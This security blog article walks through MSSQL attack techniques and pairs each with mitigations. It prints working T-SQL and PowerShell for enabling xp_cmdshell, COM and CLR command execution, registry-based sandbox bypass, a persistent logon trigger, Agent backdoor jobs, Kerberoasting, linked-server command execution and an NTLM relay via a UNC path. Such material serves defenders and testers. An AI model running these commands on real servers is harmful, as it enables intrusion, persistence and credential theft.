Mastering MSSQL Attack Chains: Exploit Techniques and Defense Strategies

This article provides a comprehensive analysis of MSSQL attack vectors—including stored procedures, COM components, CLR, sandbox bypass, triggers, proxy jobs, Kerberoasting, and linked servers—detailing prerequisites, exploitation steps with code examples, and practical mitigation recommendations to harden database security.

Huolala Tech
Huolala Tech
Huolala Tech
Mastering MSSQL Attack Chains: Exploit Techniques and Defense Strategies

1. Stored Procedures

Prerequisites:

Dependent DLLs for the stored procedures are present

DBA privileges

Overview: A stored procedure is a compiled set of SQL statements stored in the database, similar to a function in code. Developers often place many functionalities into stored procedures for convenience, granting them high privileges and making them attractive targets for attackers. Some stored procedures that execute system commands act as dangerous functions if not restricted.

Example: The common xp_cmdshell procedure executes system commands. It is enabled by default in MSSQL 2000, disabled in later versions unless re‑enabled by a DBA.

EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

To check if xp_cmdshell exists:

SELECT COUNT(*) FROM master.dbo.sysobjects WHERE xtype = 'x' AND name = 'xp_cmdshell';
-- returns 1 if exists, 0 otherwise

Modern environments usually disable xp_cmdshell and delete its DLL ( xplog70.dll). If the DLL is removed, attackers may attempt to upload it, but this can be blocked by antivirus or lack of network access. Other dangerous stored procedures include xp_regwrite, xp_regread, xp_dirtree, xp_subdirs, etc.

Mitigation:

Revoke execution rights on xp_cmdshell for all users except dbo and disable or delete it.

Disable unnecessary extended stored procedures.

For remaining system extended procedures, deny PUBLIC role execution.

Revoke permissions for procedures that manipulate the registry.

1.2 COM Components

Prerequisites:

DBA privileges

OLE components are installed

Overview: After enabling OLE automation, attackers can use sp_oacreate to instantiate a COM object and sp_oamethod to invoke its methods, allowing execution of system commands. The output is typically non‑interactive, so attackers may need to redirect results to a file or capture them via streams.

Example – Enable OLE automation:

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;

Using wscript.shell to run whoami and write output to a file:

DECLARE @shell int;
EXEC sp_oacreate 'wscript.shell', @shell OUTPUT;
EXEC sp_oamethod @shell, 'run', NULL, 'c:\windows\system32\cmd.exe /c whoami > c:\test.txt';

Reading command output directly via streams:

DECLARE @object int, @object2 int, @object3 int, @str varchar(8000);
EXEC sp_OACreate 'WScript.Shell', @object OUTPUT;
EXEC sp_OAMethod @object, 'exec', @object2 OUTPUT, 'C:\Windows\System32\cmd.exe /c whoami';
EXEC sp_OAMethod @object2, 'StdOut', @object3 OUTPUT;
EXEC sp_OAMethod @object3, 'ReadAll', @str OUTPUT;
SELECT @str;

Mitigation:

Disable OLE automation procedures when not required.

Allow only verified COM components to be loaded and executed.

1.3 CLR

Prerequisites:

DBA privileges

Matching MSSQL and .NET versions

.NET assemblies marked as trustworthy in the database

Overview: CLR integration lets MSSQL run arbitrary C# code via custom assemblies, which can be abused to execute commands without leaving files on disk. Attackers can import unsafe assemblies, set PERMISSION_SET = UNSAFE, and invoke them through stored procedures.

Example – Enable CLR and import a malicious assembly:

EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC sp_configure 'clr enabled',1; RECONFIGURE;
ALTER DATABASE master SET TRUSTWORTHY ON;
-- Import 16‑byte hex assembly (placeholder)
CREATE ASSEMBLY UserDefinedClrAssembly FROM 0x... WITH PERMISSION_SET = UNSAFE;
CREATE PROCEDURE dbo.ExecCommand @cmd NVARCHAR(MAX) AS EXTERNAL NAME Database1.StoredProcedures.ExecCommand;
EXEC dbo.ExecCommand 'whoami /all';

Tools: WarSQLKit – a tool for exploiting MSSQL CLR.

Mitigation:

Avoid loading unsafe assemblies.

Control assembly loading permissions and require trusted signatures.

Disable CLR when not needed.

1.4 Sandbox Mode

Prerequisites:

Jet OLEDB 4.0 driver installed

DBA privileges

Ability to use xp_regwrite to modify registry

MSSQL not running with reduced privileges

Overview: In Access sandbox mode, only safe expressions are evaluated. Attackers can modify the registry key SandBoxMode to disable the sandbox, then use OpenRowset with the Jet provider to execute shell commands via an Access MDB file.

Example – Disable sandbox and run a command:

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
exec sp_configure 'show advanced options',1; reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1; reconfigure;
SELECT * FROM OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user >c:\test.txt")');

Mitigation:

Remove unnecessary MDB files and unregister Jet services.

Disable xp_regwrite and revoke registry‑modifying permissions.

2.1 Triggers

Prerequisite: High‑privilege user must fire the trigger.

Overview: Triggers execute custom SQL after specific events. A login trigger can run xp_cmdshell whenever a privileged account (e.g., sa) logs in, providing a persistence mechanism.

Example – Login trigger executing a command:

CREATE TRIGGER test ON ALL SERVER FOR LOGON AS
BEGIN
    IF ORIGINAL_LOGIN() = 'sa'
    BEGIN
        EXEC xp_cmdshell 'whoami > C:\whoami.txt';
    END
END;
GO

Mitigation:

Restrict trigger creation to trusted accounts.

Use code signing for trigger scripts.

Limit external connections.

2.2 Proxy Jobs

Prerequisites:

MSSQL Agent service enabled (not available in Express)

CLR enabled

Trusted .NET database configuration

Permission to create proxy jobs

Overview: MSSQL Agent can run scheduled jobs. Subsystems CmdExec and PowerShell allow execution of system commands or PowerShell scripts, often used as a stealthy backdoor.

Example – Create and start a proxy job that writes the current user to a file:

EXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT';
USE msdb;
EXEC sp_add_job 'myjob';
EXEC sp_add_jobstep NULL,'myjob',NULL,'1','cmdexec','cmd.exe /c "whoami > C:\1.txt"';
EXEC sp_add_jobserver NULL,'myjob',@@servername;
EXEC sp_start_job 'myjob';

Mitigation:

Disable CLR.

Restrict job access to external resources.

Run jobs under low‑privilege proxy accounts.

3.1 Kerberoast

Prerequisites:

MSSQL registers an SPN under a domain account

Encryption uses RC4 (vulnerable)

Overview: If MSSQL registers an SPN, attackers can request a Kerberos ticket, extract the service ticket (ST), and brute‑force the RC4‑encrypted hash to obtain the service account password.

Example commands:

setspn -T ignite -Q */*
Import-Module .\GetUserSPNs.ps1
Import-Module .\PowerView.ps1 Get-NetUser -SPN
Import-Module .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -outputFormat Hashcat

Mitigation:

Use stronger encryption such as AES.

Avoid registering MSSQL SPNs unless necessary.

3.2 SQL Link

Prerequisite: Linked servers are configured.

Overview: Linked servers create persistent connections between database instances, often with hard‑coded credentials. Attackers can query linked servers, execute remote commands via openquery or AT linked server syntax, and even trigger NTLM relays.

Example – Enumerate linked servers and execute a command on a remote server:

EXEC sp_linkedservers;
EXECUTE AS LOGIN = 'username';
EXEC ('sp_configure ''show advanced options'', 1; reconfigure;') AT linkname;
EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT linkname;
EXEC ('xp_cmdshell ''whoami'';') AT linkname;

Trigger NTLM relay via xp_dirtree on a UNC path:

SELECT 1 FROM openquery("sqllinked-hostname", 'select 1; EXEC master..xp_dirtree ''\\UNC\share''' );

Mitigation:

Disable linked servers when not required.

Restrict permissions on linked server objects.

Summary

The majority of MSSQL attack surface stems from overly permissive account configurations. Full‑privilege sa accounts grant unrestricted access to features like CLR and COM components, making shell access trivial. Public‑role accounts with limited rights reduce exposure, but misconfigurations (e.g., db_owner on master) can still be leveraged. Guest accounts, if enabled, also pose risks. When direct database access is unavailable, SQL injection becomes the primary entry point, underscoring the need for comprehensive injection defenses.

database securityKerberosMSSQLStored ProceduresAttack TechniquesCOMCLR
Huolala Tech
Written by

Huolala Tech

Technology reshapes logistics

0 followers
Reader feedback

How this landed with the community

Sign in to like

Rate this article

Was this worth your time?

Sign in to rate
Discussion

0 Comments

Thoughtful readers leave field notes, pushback, and hard-won operational detail here.